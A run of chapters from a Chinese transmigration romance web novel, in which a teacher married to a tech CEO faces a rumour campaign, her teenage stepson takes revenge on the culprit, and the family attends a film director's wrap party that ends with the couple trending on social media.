“所以,你觉得黎哥能说话?” 王舒雅:“……” 好了,原本还有点儿不得劲,现在她真心觉得,这课代表的职位是自己应得的! / 江明羧直到晚上九点才回来。 彼时,金苒早已睡下,她喝的感冒药里有助眠的成分,比喝酒还有用处,本来打算等着江明羧回来,结果自己先睡着了。 江明羧久违地去之前的浴室冲了个澡,又在衣帽间换了一身干净衣物,这才回到卧室。 金苒正睡得深沉,暖黄灯光下,她的脸颊泛着淡淡的绯红,鼻尖随着呼吸翕动,大概有些鼻塞,唇瓣放松地微启,隐约可见贝齿的莹白。 而在右手边,则是一本敞开的数学课本,上面有着勾划的痕迹。 似乎并没有被白天的事情影响。 他站在床边好一会儿,转身离开卧室。 江许黎在书房等了好一会儿。 见他爸过来,立刻开口道:“学校查到了偷拍发帖的学生,对方受到了处分,不过帖子里其他人没有查出来。” 江明羧点头:“这件事情我会处理。” 江许黎并不放心,狐疑地看向他:“你真的会处理?今天要不是她没去学校,还不知要受多大委屈呢。” 别看江许黎表面看着冷漠冷情,实则对自己人格外护短,而金苒早就进入需要他守护的范围里的人。 被亲儿子怀疑,江明羧颇感到无奈,迟疑了一下,还是选择把事情结果告诉他:“我让公关部的人追查了,目前已经有了结果。” “是谁?!” 江许黎瞬间来了精神,一双桃花眼瞪得圆不溜秋,恨不得立刻把那人揪出来暴揍一顿。 对此江明羧只回答:“前几天,简家的人曾找过我。” 老狐狸的孩子也是小狐狸,江许黎明白过来:“是她那个鞋拔子前男友?!” “嗯。” 得益于对方的特殊身份,江许黎脑海中已经冒出许多阴谋诡计,加上听过的许多前任现任关系,他有些警惕:“你别误会,肯定是鞋拔子想吃回头草,但他太丑了,金老师看不上他,所以他恼羞成怒故意陷害。” “我没有误会。” 江明羧捏了捏鼻梁:“只是这件事情,我需要告诉她一声。” 看似简单的一场造谣,抽丝剥茧之后,里面除了简二还有金家人的手段,他虽然清楚她不是那个“金苒”,但仍然怕影响到她。 …… 十点钟,江明羧回到卧室,刚在床铺的另一边躺下,金苒睡眼惺忪真睁开眼:“回来了?” “嗯,吵醒你了?” “没有,是我自己醒的。”金苒坐起来,看着男人眉间的疲惫,伸出手指轻轻揉开,“怎么了,是不是今天的事情有问题?” 江明羧抬起眸子。 金苒不闪不避地迎上他的目光:“我下午给你发消息,你避重就轻没有回答,加上朋友圈里王特助早就下班了,你却这么晚回来,所以我只好猜测是私事咯。” “唔,让我猜猜,能让江总亲自加班,且不能告诉我的私事,正好今早刚发生过一桩。” 她是那么的聪明,又是那么善解人意。 江明羧觉得心里柔软的一塌糊涂,他叹了口气,伸手将人揽入怀中,干脆承认:“你猜的没错。” “是谁?”金苒换了个姿势,让自己躺得更舒服点,再是天大的事也不能委屈了自己,“别想隐瞒我,总不能对方打上门,我却连敌人是谁都不知道吧。” 江明羧低下头,鼻尖嗅着浅淡的花香,烦躁的心逐渐归于平静,何况他本来也没有想过隐瞒:“是简二和金德柱。” “那个“她”的父亲,派去调查的那些人发现,对方最近和简家联系密切。” 金苒一怔,原身的父亲为什么要污蔑自己的女儿? 江明羧倒是有所猜测:“应该是原本的金苒和他达成什么约定,他联系不上你之后,狗急跳墙。” 苒蓦地想起简二说的那些话,觉得很有道理。 但同时,她也觉得很无语。 原身仗着“预知未来”的金手指,不知给多少人画过大饼,或是许以重利寻求合作,或是编造把柄要挟控制,殊不知那些承诺根本就是空中楼阁、镜花水月,她就像个拙劣的小偷,试图偷走旁人的努力,到头来却要现在的金苒拆穿一个个谎言。 可凭什么? 凭什么她要为原身的谎言买单? 不行,金苒抿了抿唇,她不能这样坐以待毙! 第88章 第88章别担心,一切有我在(修…… 但反击也不是毫无准备便要去反击的。 金苒心里盘算着这几人的共同点,无非都是被原身的“计划”勾起了贪念,如今迟迟见不到成果,心中生起不满。 所以才会试图用一两件“意外”来作为提醒。 金苒冷笑一声,思索片刻,开口询问江明羧关于简二的信息。 她认定他在得知欺负自己的罪魁祸首后不会无动于衷,对于这一点自信她还是有的,否则这段时间的相处算什么?若真的那般,她只当他演技太好,与其继续真心对假意是,不如像一开始那般,找机会离婚算了。 敏锐地察觉到什么不善的眼神,江明羧将怀中的人搂得更紧了些:“你想怎么做?” 是怎么做,不是做什么。 听懂言外之意的态度,金苒勾起嘴角,也就任由某人搂搂抱抱:“苍蝇虽然不会造成伤害,但一直在耳边转也很烦人,他有什么把柄没有?” 把柄,那可太多了。 简二仗着是简家的唯一孩子,行事向来无所畏惧,这些年做的出格的事怕是他自己都数不过来,譬如之前拿着资款去包.养小明星,当时江明羧只是放出了点儿风声,对方就被剥夺了公司实权。 但简家终究舍不得放弃这个独苗,明面上是狠心冷落,暗地里却依旧源源不断地给他输送资源。 “你还记得山上发生的事情吗?” 金苒只略回忆:“简二骚扰魏雅那次?” 当时,熟知剧情的她对女主一直保持距离,以旁观者的姿态看着女主与男配们的纠葛,怎么也没想到其中一位男配竟会和自己扯上关系。 要知道在原著里,这位少爷男配可是人气颇高,拥有不少忠实拥趸呢。 江明羧颔首:“他似乎另有所图。” 另有所图? 能让一个满心算计的人另有所图的,能会是什么? 金苒想到了江明羧的未来首富身份,想到了魏雅作为女主的“结局”,圈内知名演员,大奖拿到手软,最重要的是,围绕在她身边、为她倾倒的男主、男配,哪一个不是天之骄子? 对了,算算时间,女主的官配男主应该出场了吧? 江明羧也是在调查后才发现简二暗地在和陈家的小子别苗头。 陈家是纸媒起家,后来业务转为线上平台和直播,明技和他们几乎没有交集,要不是因为误以为魏雅是金苒的后代人,江明羧根本不会注意对方。 不过现在吗……敌人的敌人便是盟友,底下人查到了不少东西,江明羧保留备份的同时,直接打包一份发给那位在公司大刀阔斧的小陈总。 这事他本可以亲自处理,无非多费些时日。 但江明羧向来不屑于为了证明能力而徒耗精力,他信奉快准狠的作风,比起个人泄愤,更愿以雷霆手段永绝后患,让那些烦人的“苍蝇”再也无法打扰他们夫妻二人的生活。 眼看着生病的人愁绪上眉,他学着她的模样伸手轻轻揉开:“抱歉,我早该处理干净,也不至于让他们钻了空子。” 金苒回过神,不满意道:“和你有什么关系啊。” 她捧住他的脸,本准备安抚,接触后意外发现老男人的脸颊有点儿光滑,不动声色捏了捏:“疯子之所以是疯子,是因为他们不按常理出牌,就算你处理了,难保证他们不会再生其他事端啊。” “嗯。” “你要是在意,后面多搜集点简二的黑料,让他社死好了。” “嗯。” “还有金德柱,对自己的女儿都下狠手,真是心狠!”金苒脑瓜子飞速转动,“对了,咱们两家不是联姻吗,我感觉爷爷还是明事理的,不如让他出面!” “嗯。” 她絮絮叨叨半天,不管说什么,江明羧都答应,到后面金苒都无语了:“你怎么只会说嗯啊,难道本体是什么嗯嗯机?” 江明羧勾起唇角,那双落在她身上的目光深邃又专注:“因为你考虑得很周全,我完全赞同。” 顿了顿,又补充道:“别担心,一切有我在。” 金苒一下子就熄火了。 很奇怪,若是其他男人这样说,金苒一定觉得对方装逼油腻,但这个承诺出自江明羧的口,她却觉得他一定会做到。 就像过往的每一次。 心中的紧迫感顿时松了弦,虽然明白简二和金德柱不会就此罢休,但她已经不再那么害怕,俗话说只有千日做贼的,没有千日防贼的,在知道身后始终有人给她兜底,金苒不仅不害怕,甚至被激起斗志。 身子往后一仰,重量带着江明羧猝不及防地跌倒在床上。 两人的距离陡然拉近,浓密的睫毛近在咫尺,连彼此的呼吸都清晰可闻。 “我可当真了,江总一定得保护好人家。”金苒故作娇嗔。 江明羧低笑,俯身吻了她一下:“好。” 有情饮水暖,第二日,金苒的感冒便好了大半。 所以在吃完药后,她选择开车去学校。 本想着捎带某人一程,哪里料到江许黎竟然犹豫了下。 金苒:“?” 江许黎看了她一眼:“我骑电动车。” 金苒:“……” 青春期的少年心真的好难懂哦。 既然如此,金苒没有再强迫,而是自己开着小车从家中出发。 留下的江许黎并不着急,先是慢悠悠拿抹布给自己的爱车包养一番,尽管这车刚买来没几天。 擦干净后,他给陈训良打了个电话,三言两语就约好了见面时间,随即在佣人们的目光中出门上学。 一切如常。 谁都察觉这个少年平静外表下正在酝酿着什么。 然而等到车子驶出别墅,却没有像往常似的往学校而去,而是直奔另外的目的地。 陈训良已经在那儿等待许久。 看见他后立刻道:“我找了好几番的关系才联系上,有点警惕但不多,用我表哥的手机随便一骗就出来了。” 江许黎表情冷漠:“人呢?” 陈训良下巴往巷子里一抬:“刚进去,热乎着呢。” 江许黎点点头,手往后一拉,将头顶的帽子戴上,径直朝着方向走去。 抬手将卫衣兜帽往下一拉,迈着沉稳的步伐朝巷内走去。 与此同时,简二正站在约定的仓库前等着。 联系他的是圈内的一个小有名气的投资手,声称看中了他之前的项目,想要了解一下——这话要是放在从前,简二或许会多留个心眼,但自从被家里暂停公司职务后,急于证明能力的他,还是鬼使神差地来了。 脑海中正幻想着东山再起的场景,以至于没有注意周围环境,突然被人撞了个趔趄。 “走路不长眼啊?”简二恼怒抬头,哪想迎面便是哐当一拳头,疼得他当即弯了腰。 对方不仅没停手,反而愈发来劲,专挑大腿、臀部这些肉厚的地方下手,疼得要命却不会留下痕迹,简二被打的嗷嗷乱叫,他完全没有怀疑是投资人的问题,只以为自己被寻仇了。 而自己最近得罪过的人…… 一个名字浮现脑海,简二顿时怒火上头,一个女人居然敢打自己,大叫一声准备反抗,结果没几下又被制服,最后连裤腰带都被抽走。 等回过神来,现场早已了无人迹,只剩他狼狈光着屁.股,连打人者的模样都没看清。 …… 金苒开车到达学校,刚停完车子,突然收到一条微信。 【特么敢阴我?!别以为嫁了个男人就能高枕无忧,老子有的是办法治你!】 【?】 【你哪位?】 简二看着消息,险些气得昏过去,不小心扯到肚子,疼得倒吸凉气:【金苒!别装傻卖傻!别以为没有监控我就不知道是你找人揍我,我要去警察局告你!】 当然这话只是只是虚张声势,没有伤口没有监控,甚至连裤子都不翼而飞,就算报警也没办法抓到人。 他只能无能狂怒,企图通过辱骂让金苒害怕恐慌。 下一秒,消息框突然跳出红色感叹号。 简二:??? 另一边,金苒拍拍手,看着变干净的聊天页面,心情重归美妙。 幸好对方提醒了自己,居然忘了把垃圾拉黑。 至于简二说的“打人”的事,金苒根本没有放在心上,满嘴跑火车的人,说出来的话能有几分可信? 复工的第一天,办公室的老师纷纷向金苒表达了慰问。 “金老师,你可千万别放在心上。” “现在的孩子确实难管,有些刺头连家长都管不住。” “谁说不是呢,我们班那几个捣蛋鬼,背地里给我起外号,还以为我不知道呢。” 无论是真心还是假意,金苒全部笑着接受。 她看起来丝毫没有受到影响,反而主动提起:“这次也是个经验,让我更清楚该怎么跟学生打交道了。” 其他老师见状,不知心中是怎么想的,表面都连声附和,办公室里气氛其乐融融。 傍晚没有课程,闲下来的金苒主动联系了魏雅。 她心里清楚,江明羧一定会帮自己,但感情是相互的,他对她好,她同样不愿看他一个人孤军奋战,成为只会躲在背后当个胆小鬼。 很久没有关注,如今点开魏雅的社交动态,才惊觉陈导的新剧已经杀青,首播日期就在最近几天。 见面时,金苒恍惚发现魏雅几乎与初见时判若两人。 她们第一次见面,魏雅正遭受事业和家庭的双重压力,整个人像脆弱的芦苇,仿佛一丝非常细微的风就能将她摧折。 如今却不同了,摆脱了简二的纠缠,原书中的被迫和渣男男配纠缠不清的剧情自然就不会再发生,魏雅失去了渣男提供的资源,却凭借着自己的实力拿下了陈导剧本的角色,还经营起了自媒体账号。 就在金苒看的时候,账号的粉丝已经达到了小二十万。 意味着即便以后魏雅暂时没有戏拍,也有另外的吃饭手段。 而对这一切,魏雅非常感谢金苒。 如果不是当初她握住她的手,带她离开那座山,如果不是金苒透露陈导新戏的消息,她绝不会有今天的成就。 后面得知简二做的事情,魏雅既愤怒又内疚,以为自己连累了金苒。 金苒自然察觉到她的想法,果断否认:“这是我跟他之间的旧怨,与你无关。”说着将江明羧查到的资料递过去,连简二当初接近她也是另有所图的事也一并告知,“总之你最近一定要当心。” 魏雅没想到如此复杂。 她攥紧资料,指节都泛了白。 沉默片刻后,她像是下定决心般抬起头:“其实,我最近认识了一位朋友,他背景不简单,有他在,简二应该不敢轻举妄动。” 闻言,金苒眸光微闪。 随即会意,魏雅口中的“朋友”,十有八九就是那位男主。 这个认知让她彻底安心。 小说的故事可以发生改变,但有一点不会改变,与男女主为敌的人从来都不会有好下场。 …… “对了。” 临走之前,魏雅想到一件事情,手指无意识地绞着包带,“下周陈导要办庆功宴,金小姐有空一起来吗?” 第89章 第89章可以带娃出行 听魏雅的描述,这个庆功宴类似于剧播前期的宣传,陈导这些年在圈子里积累了不少人脉,届时各行各业大佬都会赏脸出席,而这些人脉不仅能为新剧造势,还能在排片、宣发和后续合作上铺路。 金苒觉得那些大佬里面肯定有男主的一席席位。 她想了想,问:“我能带家属一起吗?” 魏雅露出一抹笑容:“当然可以。” 除了金苒, 江家父子俩也对她多有帮助,魏雅从包里拿出提前准备好的两张请柬:“到时候通过请柬就能进去。” 和魏雅告别后,金苒突然想起自己的教案落在了学校,便转道回了一趟学校。 时值放学时分,校园里到处都是兴高采烈的学生,金苒没把车开进去,而是停在校门口,步行往里走。 夕阳西下,橘粉色的霞光透过云层,将教学楼的影子拉得很长,走廊里空荡荡的,大部分教室都已经锁了门,在经过贴着优秀学生的表彰墙时,一阵隐约的说话声从楼梯拐角处飘出来。 金苒本来无意听,结果一个熟悉的名字让她猛地停下脚步。 “江许黎,我喜欢你。” 少女的嗓音清亮,却又带着几分羞涩的颤抖。 金苒顿时好奇心大增。 虽然理智告诉她要尊重孩子的隐私,但金苒的脚步还是不自觉地往楼梯口挪去。她轻咳一声,给自己找了个正当理由——除了是家长,她还是老师,有责任关注学生的“交友情况”。 比起那些古板的老师,金苒自认为思想开明得多,只要不影响学习,不做越界的事,她向来不会干涉学生的懵懂情愫。站在这里,说不定还能帮他们望望风呢。 这样想着,金苒已经悄无声息地挪到了最佳位置,一边竖起耳朵,一边津津有味为学生保驾护航。 江许黎长得帅,学习成绩虽不算顶尖,但也属于好学生,在学校这么久,她从来没有见过对便宜继子表达好感的女生。 如今突然撞见这场面,让她莫名生出一种“自家养的猪还是值钱”的欣慰感。 然后便听到江许黎冷漠无情的冰茬子声音:“我不喜欢你。” 金苒:“……” 不是,就这么直接?连个委婉的借口都不找? 好无情,好直男啊! 果然,小姑娘站出来告白已经用了巨大勇气,此刻被当面拒绝,眼睛一下子就红了,声音也带上了颤巍巍的哭腔:“抱,抱歉我,都是我的错……” “不是,你哭什么啊。” “呜呜呜呜……” 眼看着粉红泡泡变成黑色泡泡,小姑娘哭得更大声,金苒终于不能坐视不理,当即捏着嗓子大喊一声:“谁在里面,高中生不许早恋!抓住扣分!” 哭声瞬间戛然而止。 短暂的寂静,紧接着便是一阵兵荒马乱的窸窣,金苒靠在墙边耐心等待,直到确认两人都已离开,这才慢悠悠地踱出来。 她得意地拍了拍手,在心里给自己点了个赞——既帮江许黎解了围,又保全了女同学的面子。正哼着小调往办公室走,却在下一个转角处猝不及防地撞上了本该早就离开的江许黎。 “刚才是你吧。” 少年抬起头,语气笃定道。 金苒一惊,随即意识到自己没有做错什么,心跳很快恢复平稳,并挑了挑眉:“是我又怎么样?” 江许黎:“……”他确实不能拿她怎样,撇撇嘴,“无聊。” 要不是自己身正不怕影子斜,说不定刚才就要吓得踩空楼梯。 何况他早就再三强调过——自己根本没有女朋友,电动车的后座永远会是她的专属座位。 金苒啧啧称奇。 果然男人的自信受性别影响,和年龄无关,只见逃跑的,没见过自投罗网的,她温柔一笑:“抱歉,是我刚才着急了,这样吧,你走近一点我告诉你一个秘密。” “什么秘密?” “隔墙有耳,你靠近点我才说。” 江许黎不疑有他,一边嘟囔着一边靠近。 就在两人距离只剩半米时,金苒突然出手如电,一把扣住他的手腕,得意地晃了晃:“抓到啦!没穿校服,扣两分!” 江许黎:“?” 汝人否? / 真心错付的江许黎深深郁闷了。 他这个月的学分已经被扣了五次,三次是被金苒抓住,再扣下去就要低于八十分,被叫家长了。 可看着金苒不同于昨日的高兴模样,到嘴边的吐槽话又咽了回去,无论如何,他都没有后悔替她出头。 当然,还有一个原因是吐槽也没有用,他爸重色轻儿,只会站在金苒那边,还要反过来让自己不要欺负人。 他还能怎么办,家里就这么一位女士,宠着呗。 另一边,和江许黎单纯粗暴的武力威胁不同,江明羧不出手则以,一出手便是快准狠,招招致命。 没过几天,他就拿到了简二这些年挪用公款的证据。 因为之前打草惊蛇,简家那边陆续将那些资金补上,但某些款项还是超过了三个月的时间,根据《刑法》,挪用资金超过3个月未还,或用于营利活动,即使归还也可能追责。 除此之外,还有一个重大发现。 三年前,A市政府公开出出售地皮,简家竞得了某商业用地开发权,作为项目负责人的简二,用劣质材料替代国标建材,导致质量不达标,工人期间因此坠亡。 这件事直接被简二压了下来,连简总都不知道。 私人侦探也是因为找到了当初坠亡的工人弟弟,才查到了蛛丝马迹。 江明羧手指微屈,微眯的桃花眼露出几丝寒光。 明技集团这样的大型企业,公司内部一般设有顶尖的法律团队,把事情吩咐下去后,法律部立刻行动,梳理证据,准备文书,第二天便正式向法院提起了对简二的诉讼。 倒是金德柱那边,因为金家早就破产,调查反而有些难以进行。 不过在盯了一段时间后,金德柱还是冒出了马脚。 他曾多次借着和小舅子吃饭的幌子,偷偷跑去澳门赌博。 而之所以和简二合作,也是因为欠下一大笔.赌.债。 既如此,江明羧自然是将计就计,引蛇出洞。 这些“回击”看似复杂,实际只需要江明羧安排下去,他自己的日常生活和之前没有太大区别。 下班后,江明羧去学校接人。 公司的员工看到老板离开,一个个从正经危坐变为交头接耳:“赌两根辣条,江总肯定是和人有约!” “跟三根,我猜那个人是咱们老板娘!” 谈起老板娘,众人不由得想起之前见过的女人。 和大家想象中完全不一样,倒不是说长相问题,老板娘长得很漂亮,比之明星也不差什么,只是她身上没有江总那种高不可攀的气势,反而格外平易近人。 像是邻家那个爱笑的小姑娘,嘴角总是挂着浅浅的梨涡,夏天常见她扎着马尾辫,捧着半个冰镇西瓜坐在树荫下乘凉,见人路过,会扬起笑脸甜甜地打招呼。 这样的性子,任谁见了都会不由自主地心生好感。 “说起来,咱们老板娘多大啊?” 有员工思索。 闻言,其他人纷纷沉默了。 无怪乎其他,实在是老板娘看着太年轻,否则一开始也不会有人错认成实习的大学生。 路过的王特助听了几耳,不由得开口解答:“太太今年二十五岁。” 二十五岁,江总今年三十五,岂不是大了十岁?! 顿时,员工们的表情就变了。 怪不得江总最近春风满面的,原来是老牛吃嫩草啊。 咳咳咳,不对,应该是老夫少妻。 被员工们讨论的嫩草金苒,此刻正徒手提着两大摞书本,步履匆匆提着资料书从学校出来。 今年的数学竞赛近在咫尺,她带的几个学生刚刚起步,最少还需要一年时间才能参加。 但江许黎却提出想今年下场试一下水。 金苒早就发现了江许黎在数学方面的天赋,确定少年是真的想参加,便不再劝阻,着手为他制定专属训练计划,参加即将到来的省赛。 学生平日要上正课,竞赛辅导只能见缝插针,比如每周二四放学后的两小时,以及周六上午三小时。 忙忙碌碌,日子过得飞快,等金苒从成堆的模拟卷中暂时抽出思绪时,才惊觉魏雅提过的庆功宴就在两天后。 她猛地想起来,自己还没有和江明羧打招呼。 于是傍晚下班回家, 金苒把请柬拿出来,语气颇感遗憾:“可惜只有两张帖子,要不然可以带着小黎去玩一玩。” 她小时候最爱跟着父母吃席了,明明平时挑食得很,可一到宴席上就胃口大开,总觉得别人家的饭菜特别香。 说这些话的金苒全然没有发现,自己现在已经变成长辈心理,有好吃的好玩的事情总想着家里的孩子。 江明羧脸色有些古怪,随后竟也拿出来了一张请柬。 “陈导给我的。” 金苒怔了怔,这才后知后觉想起江明羧和陈导本就是旧识,最初还是他向魏雅透露了陈导要拍剧的消息。 得,这下可以带娃出行了。 第90章 第90章他看到了她 说起来,这不是三人第一次出行,但金苒还是很重视。 具体表现在,她给江许黎的手机绑定了一个共享定位的app:“听魏雅说这次庆功宴的场地非常大,这样就不会走丢了。” 江许黎任由自己的手机被女人摆弄,故意曲解她的意思:“放心,我不会跟丢你。” 金苒翻了个白眼,懒得跟小屁孩一般见识。 别以为她没有发现,在自己说可以带他一起去的时候,某人的嘴角都快翘到了后脑勺。 江明羧看了会儿,饶有趣味地把自己的手机递过去:“给我也放一个,密码你知道。” 金苒干脆大手一挥,将三人拉到了同一个群里。 如此安装完共享定位后,群里便能看到代表三个人的小红点,因为三人离得近,这会儿三个小红点也紧紧挨在一起,其中两个还交叠在一起。 抵达地方,陈导为了自己的复出剧,耗费大手笔,将庆功宴安排在一座山庄酒店。 精心修剪的树篱迷宫蜿蜒曲折,喷泉与雕塑错落其间,稍不留神便看不见引路侍者的身影,正迟疑时,右手突然被温暖包裹,江明羧动作自然地牵住她:“跟紧。” 江许黎站到了她的另外一侧,夸张道:“爸你可牵住了,我可不想再回来一次找人。” 三人并肩而行,父子俩高大的身影如同两道坚实的屏障,将金苒护在中间,远远望去,像凹进去的字母U。 一踏进庆功宴大厅,金苒就听见有人唤她:“金小姐!这儿!”转头望去,见魏雅提着裙摆快步走来,身边还跟着个穿深蓝西装的年轻男人。 那人轮廓分明,笑起来眼尾有颗小小的泪痣,金苒不自觉地多看了两眼。 魏雅在剧中扮演女四一角,戏份基本和女三一样重,今日穿着打扮也非常用心,香槟色礼服搭配祖母绿珠宝头饰,脚上是晶莹剔透的水晶鞋,整个人显现出古意典雅的气质。 已经有不少导演制片人注意到,想必过后有合适机会,便会向魏雅抛出橄榄枝。 意识到这一点,金苒心中既感慨又欣慰。 作为熟知剧情的穿书者,对她而言,小说的女主角几乎算是她“看着”长大的纸片人,如今亲眼见证魏雅越来越好,怎么能不高兴呢? 即便是被文字框定的书中人,她们也在打破既定结局,走向更好的未来。 不过以她近期当豪门太太的经验来看,魏雅身上这套高定礼服搭配珠宝首饰,少说也要六位数,虽然魏雅现在片酬不低,但应该不会如此挥霍 思及此,她又意味深长地看了一眼那个男人。 而从方才一直淡然站在金苒身侧的江明羧,终于掀起眼眸,凌厉的目光落到对面。 陈柏松察觉到什么,眉头略皱看过去,四目相对,一个锋芒毕露,一个深不可测。 短暂的对视后,两人默契地点头致意,随即各自移开视线。 这一点儿小插曲,金苒根本没有发觉。 遇到好闺蜜后,男人什么的都要靠边站,她和魏雅凑在一起嘀嘀咕咕半天,也不知说了什么,回头便抛弃江家父子俩,像个渣男似的摆摆手:“你们自己先玩,我和小雅去那边认识几个人。” 江明羧脸上有些无奈,但没有阻止:“好,别忘了打开手机。” 手机里有刚刚安装的共享定位,本来是给江许黎准备的,如今却是金苒先用上了。 “知道了。” 魏雅也对陈柏松说:“陈总,这次多亏您帮忙,以后有任何需要我的地方,我一定全力配合。” 语气平静,却有些公式化,透着刻意的疏离感。 金苒的耳朵立刻竖了起来。 嗯?男女主闹矛盾了? 她忽然想起书中的剧情,“原身”唯一一场戏份,作为路人甲为矛盾中的男女主提供感情催化剂——在得知了原身的经历后,女主猛地意识到自己内心的真实想法,主动和男主和好,两人一番真心剖白,贡献了书中让读者嗷嗷叫的月下激吻。 错过了一次名场面,居然让她再次遇见了? 虽然有心打卡,不过金苒暂时没有忘记正事。 “那位便是简总。” 魏雅带着金苒离开人多的大厅,七拐八拐来到一处无人注意的角落,然后指着一个方向说道。 金苒顺着视线望过去,果然看到了一个陌生的中年男人。 她确信自己没有见过对方。 “这些日子简家的下任继承人接二连三爆出问题,简氏集团股价下跌,简总忙到焦头烂额,大概是打听到什么,托人转了几道说想要见你一面。” “你答应了?” “没有,他不知道从哪拿到请柬,自己来的。” 魏雅是个很善良的女生,但不代表她没有原则。 譬如对仗势欺人,甚至伤害自己朋友的简二和简家人,她永远不会原谅。 “……简二私自挪用公司财务,身上还背负着一条命案,警方那边已经将人控制起来,这次大概率不会逃脱,只是这位简总怕是还不死心,一直四处奔走。”魏雅小心提醒。 金苒了然地点了点头。 这些事情她听江明羧提过几次,拳头打到身上才知道疼,金苒对简总生不出半分怜悯,简二那些肮脏勾当,他难道真的毫不知情?对方纵容简二,甚至主动为其遮掩,无非是不把其他人放在眼中。 这样人品低劣的商人,就要做好反噬恶果的准备。 金苒原本打算去见那人一面,此刻突然兴致全无,没有露面,便和魏雅离开。 出来时找了借口,这会儿不好立刻回去,于是顺势而为在魏雅的牵桥搭线下认识了几位娱乐圈的老戏骨,还和陈导打了声招呼。 看到她本人,陈导更是遗憾:“金小姐真的没兴趣拍戏吗?” 金苒觉得好笑,旁人知晓她的身份后,往往因顾忌江明羧的地位而对她态度恭敬,唯独陈导一心扑在艺术上:“暂时没有这个打算。” 陈导却误会了,皱起眉头:“要是江总不愿意,老头子我去和他说!这都什么年代了,还这么迂腐!” 这可真是冤枉江明羧了。 对于这件事情,金苒也有些无奈。 她是参加了几次宴会后,才发觉江明羧在圈内的名声似乎有些可怕,什么冷酷无情,什么活阎王在世,商场刽子手…… 虽然在她面前的江明羧大部分时间都很冷静,但冷静不代表冷漠,这个男人的底色透露着敏感和细心体贴。 “我先生很尊重我的职业规划,”金苒觉得有必要为江明 羧正名,或许两人关系发生了变化,心态也随之改变,她不希望经历过那么多的江明羧再被人误会。 哪怕男人并不在意。 “是我最近在带竞赛班,实在抽不出时间。” 见她神色诚恳,陈导终于信了,遗憾地叹道:“好吧,若是金小姐以后改变主意,随时可以来找我。” 这个就没有必要拒绝了,金苒欣然同意。 毕竟未来的事情谁能说清楚呢,说不定哪天她就想体验一下拍戏呢。 从刚才开始,魏雅似乎就有些安静。 告别陈导,两人来到二楼的室外阳台,夜风轻拂,将楼下觥筹交错吹散成模糊的背景音,整个宴会场景尽收眼底。 金苒下意识在人群中寻找。 奇妙的是,仿佛冥冥中有某种感应,她居然真的在茫茫人群中找到了江明羧。 男人穿着墨蓝色西装,宽肩窄腰的气质卓绝鹤立,让人一眼便无法忽视。 他正同人交谈,抬手间,手腕处别着的袖扣在灯光下泛着内敛的光——那是下午金苒亲手为他挑的。 恰逢烟花于天空炸开,漫天流火将夜色照得通明,就在这璀璨亮起的刹那,江明羧若有所觉般抬眸望来。 金苒在锣鼓喧天中,听到了左胸膛砰砰直跳的心跳。 隔着重重人影,她其实看不清他的表情,但却有一种直觉,他看到了她。 …… “金小姐很喜欢江总。” 魏雅的声音像她人一般,透着股泉水叮铃的清冷。 金苒侧过头:“为什么这样说?” “每次你的眼神都会第一时间落在江总的身上,同样的,江总也是如此。”顿了顿,魏雅继续道,“还有之前陈导说的话,你也是第一时间选择相信江总。” 金苒自己都没有注意到这样的细节。想了想,回答:“可能是因为我这个人比较自负。” 闻言,魏雅面露疑惑。 “比起其他人,我更相信自己,我相信我眼睛看到的东西,相信我看男人的眼光。” “可……万一看错了呢?” 这个问题,与其是问金苒,不如说是在问自己。 金苒眨了眨眼。 她不知道男女主因为什么闹矛盾,也不清楚没有了“原身”的出场,两人今晚会不会和好,她只是随心回答:“看错了?那就看错好了,我又不是非他不可,难道就因为看错了一个人,人生就毁掉了吗?” “我有手有脚,可以做喜欢的事情,去喜欢的地方,我能养活自己,为什么要害怕?” 她笑得明媚张扬,眼尾微微上扬,像只骄傲的猫咪,浑身透着的肆意洒脱,让魏雅一时怔忡。 看错了就看错了。 金苒越说越来劲,恨不得把所有的经验都传递给女主:“更何况天下的男人多的是,旧的不去新的不来。” 刚说完,就看到了魏雅有些尴尬的表情,金苒突然有些不好预感,回过头正好对上了刚刚走上来的江明羧。 男人看着她,挑了挑眉:“旧的不去,新的不来?”【你现在阅读的是 】 90-97 第91章 第91章我发现我真是一个善解人…… 大放厥词被当事人听到怎么办? 金苒表示,当然是假装不知道,然后顺着毛慢慢撸了。 好在江明羧“老成持重”,并没有计较妻子的“远大梦想”。金苒自知理亏,庆功宴后半程主动挽着男人的胳膊。 江明羧抬手,她主动递上一杯鸡尾酒; 江明羧同人谈话,她眨着星星似的眼睛夸赞; 江明羧露出一点倦意,她便伸出手给他揉揉肩膀,漂亮的脸上满是心疼。 看得其他宾客暗自咋舌。 江总娶的这位小妻子,还真是黏人呢。 夫妻二人郎才女貌,处于同一个画面中实在赏心悦目。陈导的庆功宴毕竟是为电视剧造势,这次邀请了许多圈内人士,自然也有媒体人。 这些人四处抓拍照片,过后稍加筛选,再配上精心构思的文案,很快就会被发布到各大社交平台,既是拿钱办事,也是经营个人账号流量的绝佳机会。 当天晚上热搜就爆了。 有不明真相的网友点进来,以为会看到陈导电视剧的消息,结果看到的全是网友们在大嗑特嗑。 问嗑的谁,结果回复不知道。 网友:【???】 迷茫之际,正迷茫时,总算有个好心人甩来一张背景照片为其解答。 那是一对站得极近的男女,头歪着头,男人侧颜优越,高挺的鼻梁如山峦起伏,下颌线凌厉,勾勒出刀削似的轮廓。 女人虽看不清面容,但一袭贴身礼服勾勒出纤细腰肢,身段窈窕妩媚。 汪汪的老婆大人:【霸总x美人有画面感了】 我是皇帝:【娱乐圈什么时候出现这么高质量cp了,擦口水.jpg】 什么都磕只会让我营养全面:【这是陈导的庆功宴吧,难道是哪个收到邀请的明星?】 可惜网友们对应了半天,也没有找到百分百契合的人选,直到有明技的员工站出来:【弱弱的说,感觉有点儿像我们公司的总裁】 【你们公司?】 【明技科技】 一石激起千层浪。网友们立刻开始翻江明羧的公开照片——商业活动的合影、公司官网的简介照,轮廓分明的侧颜、凌厉的下颌线,竟然真的对上了! 【那女人是谁?】 【肯定是我们老板娘,全公司都知道,除了老板娘,没人能靠近江总半米之内!】 “完了,他们重点是不是弄偏了!” 回到家的金苒看到网友们的留言,忍不住哀嚎。 她本炮灰,躬耕于学校,苟全性命于小说,不求闻达于人前,早知如此,当时一定要躲得远远的。 江明羧从浴室出来,以为她不喜欢:“如果你不喜欢,我让王助理找人压下去。” 金苒表情古怪又纠结:“不是不喜欢。” 只是今天是男女主名场面的日子,结果男女主没有上热搜,反倒是她和江明羧这对路人角色意外上了热搜。 她往下翻了翻,果然在二十多位找到了魏雅的相关话题,而且排名还在持续下滑。 “就是觉得有点儿奇怪。” 她深深叹了口气。 